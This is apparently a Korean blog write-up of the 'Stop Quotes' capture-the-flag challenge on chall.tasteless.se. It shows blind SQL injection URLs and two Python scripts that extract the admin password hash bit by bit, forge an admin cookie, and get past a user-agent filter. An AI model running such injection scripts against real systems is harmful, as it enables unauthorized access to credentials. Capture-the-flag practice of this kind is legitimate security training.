webhacking/sql, sql injection

chall.tasteless.se Stop Quotes

qkqhxla1 2014. 11. 21. 13:04

test account guest:guest

hint: table is level4, columns are username and pass!


요렇게 힌트가 나오고, 폼이 하나 있어서 폼에다가 블라인드 인젝션을 하는줄알고 별 난리를 쳐봤지만


별 유효한걸 못찾았다. 테스트 계정으로 guest,guest가 있어서 들어가보니 guest로 성공적으로


로그인됬다고 나오고 쿠키값에 login=guest%25084e0343a0486ff05530df6c705c8bb4


이 추가되어있다. 딱 봐도 여기에 뭔가 단서가 있는것같다. 잘 살펴본결과 guest%25뒤의 32글자는


guest를 md5로 인코딩한 값이다. 아이디를 인코딩할리는 없고, 비밀번호인 guest를 md5로 


인코딩한 값인 것 같다. view라는게 있어서 들어가보니 


http://chall.tasteless.se/level4/index.php?action=pm&id=1 라는 왠지 공격의 벡터가 될거같은


맨 뒤의 id=1이 보였다. id=1%20or%201=1을 해보니 hacker detected가 뜨는걸로 보아


필터링이 되어있고, 필터링이 되어있다는 것은 여기가 공격 포인트이며, 


잘 피해서 여기다가 블라인드 인젝션을 할것 같다.


맨 위에 admin이 있다는걸 확인 후,


( http://chall.tasteless.se/level4/index.php?action=pm&id=1%20and%20(select%20length(username)%20from%20level4%20limit%201)=5

로 길이가 5인걸 알아내서


http://chall.tasteless.se/level4/index.php?action=pm&id=1%20and%20(select%20ascii(substr(username,1,1))%20from%20level4%20limit%201)=97 

처럼 admin이라고 예상하고 해본결과 확인완료.)



http://chall.tasteless.se/level4/index.php?action=pm&id=1%20and%20(select%20length(pass)%20from%20level4%20limit%201)=32


로 pass가 32자라는걸 확인했다. 32자는 아마도 아까 위에서 확인한 md5의 값일 것이다.


이제 코딩을 하면 된다. 그런데 여기서 중요한점..


chall.tasteless에 코딩을 할 때 반드시 user-agent가 정상적인 브라우저를 적용하자.


처음에 코딩을 할 시에 user-agent설정을 안해줘서 그냥 파이썬 어플리케이션으로 유저 에이전트가


적용되었는데, chall.tasteless에서는 봇같은걸 다 막기 위함인지 유효한 브라우저의 user-agent가


아니면 403에러를 띄워버린다. (그리고 원인을 찾느라 몇시간을 날렸다...)


import urllib2

answer = ''
for i in range(1,33):
    for j in range(48,123):
        print i,j,answer
        req = urllib2.Request('http://chall.tasteless.se/level4/index.php?action=pm&id=1%20and%20(select%20ascii(substr(pass,'+str(i)+',1))%20from%20level4%20limit%201)='+str(j))
        req.add_header('Cookie','login=guest%25084e0343a0486ff05530df6c705c8bb4; __cfduid=d506c4b3f954b49dfcbd9f4509a27f1671416459313; PHPSESSID=apsgi1kbke839ms7i2f96ifhq6')
        req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36') #유저 에이전트 반드시 추가.
        page = urllib2.urlopen(req).read()
        if page.find('admin') != -1:
            answer += chr(j)
            break
print answer


그리고 돌리던중 너무 느려서 빠른 방법으로도 다시 짜보았다.


개선된 코드.


import urllib2,re

answer = ''
for i in range(1,33):
    for j in range(1,8):
        print i,j,answer
        req = urllib2.Request('http://chall.tasteless.se/level4/index.php?action=pm&id=1%20and%20(select%20substr(lpad(bin(ascii(substr(pass,'+str(i)+',1))),7,0),'+str(j)+',1)%20from%20level4%20limit%201)=1')
        req.add_header('Cookie','login=guest%25084e0343a0486ff05530df6c705c8bb4; __cfduid=d506c4b3f954b49dfcbd9f4509a27f1671416459313; PHPSESSID=apsgi1kbke839ms7i2f96ifhq6')
        req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36')
        page = urllib2.urlopen(req).read()
        if page.find('admin') != -1:
            answer += '1'
        else:
            answer += '0'
    answer += ' '
answer = re.findall('([\d]+) ',answer)
password = ''
for i in range(0,len(answer)):
    print answer[i],' : ',chr(int(answer[i],2))
    password += chr(int(answer[i],2))

req = urllib2.Request('http://chall.tasteless.se/level4/index.php?action=pm&id=1')
req.add_header('Cookie','login=admin%25'+password+'; __cfduid=d506c4b3f954b49dfcbd9f4509a27f1671416459313; PHPSESSID=apsgi1kbke839ms7i2f96ifhq6')
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36')
print urllib2.urlopen(req).read()



chall_tasteless.se_Stop_Quotes.py






'webhacking > sql, sql injection' 카테고리의 다른 글

chall.tasteless.se Infiltration  (0) 2014.12.24
webhacking.kr 27, 29  (0) 2014.11.30
chall.tasteless.se Milk  (0) 2014.11.21
suninatas level 23  (0) 2014.10.30
suninatas level 6  (0) 2014.10.30